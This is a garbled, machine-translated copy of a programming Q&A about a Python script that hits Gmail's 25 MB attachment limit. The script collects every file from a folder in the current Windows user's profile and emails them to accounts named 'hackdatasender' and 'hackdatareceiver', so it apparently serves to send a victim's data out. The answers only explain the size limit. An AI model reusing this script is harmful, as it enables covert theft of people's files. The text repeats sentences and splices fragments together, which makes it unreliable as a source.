Python 我想通过Gmail和I';我有麻烦了
我想通过Gmail发送一个文件,但我遇到了麻烦 我想通过Gmail发送一个文件,但我遇到了麻烦 我想通过Gmail发送一个文件,但我遇到了麻烦Python 我想通过Gmail和I';我有麻烦了,python,python-3.x,python-2.7,gmail,Python,Python 3.x,Python 2.7,Gmail,我想通过Gmail发送一个文件,但我遇到了麻烦 我想通过Gmail发送一个文件,但我遇到了麻烦 我想通过Gmail发送一个文件,但我遇到了麻烦 我更换了Gmail和密码,但问题没有解决 我更换了Gmail和密码,但问题没有解决 我更换了Gmail和密码,但问题没有解决 也许地址有问题。请帮帮我 也许地址有问题。请帮帮我 也许地址有问题。请帮帮我 我的错误: Traceback (most recent call last): File "C:\Users\Michael\Desktop\w
我更换了Gmail和密码,但问题没有解决 我更换了Gmail和密码,但问题没有解决 我更换了Gmail和密码,但问题没有解决
也许地址有问题。请帮帮我 也许地址有问题。请帮帮我 也许地址有问题。请帮帮我
我的错误:
Traceback (most recent call last):
File "C:\Users\Michael\Desktop\windows.information.py", line 83, in <module>
filenames)
File "C:\Users\Michael\Desktop\windows.information.py", line 75, in mail
mailServer.sendmail(gmail_user, to, msg.as_string())
File "C:\Program Files 1\Python2\lib\smtplib.py", line 737, in sendmail
raise SMTPSenderRefused(code, resp, from_addr)
smtplib.SMTPSenderRefused: (552, "5.2.3 Your message exceeded Google's message size limits. Please visit\n5.2.3 https://support.google.com/mail/?p=MaxSizeError to view our size\n5.2.3 guidelines. f192sm642881wmg.14 - gsmtp", 'hackdatasender@gmail.com')
如何发送大小超过25 MB的文件
您收到的错误表明您发送的文件太大
您的邮件超出了谷歌的邮件大小限制。
Gmail官方文档()说明:
您最多可以发送25 MB的附件。如果您有多个
附件,它们的总和不能超过25 MB
你有什么问题?错误消息告诉您,您发送的文件因太大而被拒绝:引用官方文档:
您最多可以发送25 MB的附件。
在文件>25 MB切换到Google drive后!原始问题:“如何将google drive api与python结合使用?”恐怕我不知道有什么方法可以做到这一点,我会探索其他发送文件的方法,比如将文件上传到云存储,然后通过电子邮件发送链接。
import os
import getpass
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
from email.MIMEBase import MIMEBase
from email import Encoders
windowsDrive = os.environ['WINDIR'].split(":\\")[0]
userName = getpass.getuser()
# ===== Set up crap for the attachments
files = windowsDrive+':\\Users\\'+userName+'\\windows.information'
filenames = [os.path.join(files, f) for f in os.listdir(files)]
## ===== print filenames
## ===== Set up users for email
gmail_user = "hackdatasender@gmail.com"
gmail_pwd = "******"
recipients = ['hackdatareceiver@gmail.com']
# ===== Create Module
def mail(to, subject, text, attach):
msg = MIMEMultipart()
msg['hackdatasender@gmail.com'] = gmail_user
msg['hackdatareceiver@gmail.com'] = ", ".join(recipients)
msg['Subject'] = subject
msg.attach(MIMEText(text))
## ===== get all the attachments
for file in filenames:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(file, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % file)
msg.attach(part)
mailServer = smtplib.SMTP("smtp.gmail.com", 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, gmail_pwd)
mailServer.sendmail(gmail_user, to, msg.as_string())
## ===== Should be mailServer.quit(), but that crashes...
mailServer.close()
# ====== send it
mail(recipients,
"*** M.1.G.0.A.4.W ***",
"M.1.G.0.A.4.W",
filenames)